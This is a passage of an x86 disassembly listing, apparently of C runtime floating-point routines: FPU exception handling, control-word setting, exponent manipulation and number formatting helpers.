loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_42106B+1Bp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0574h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
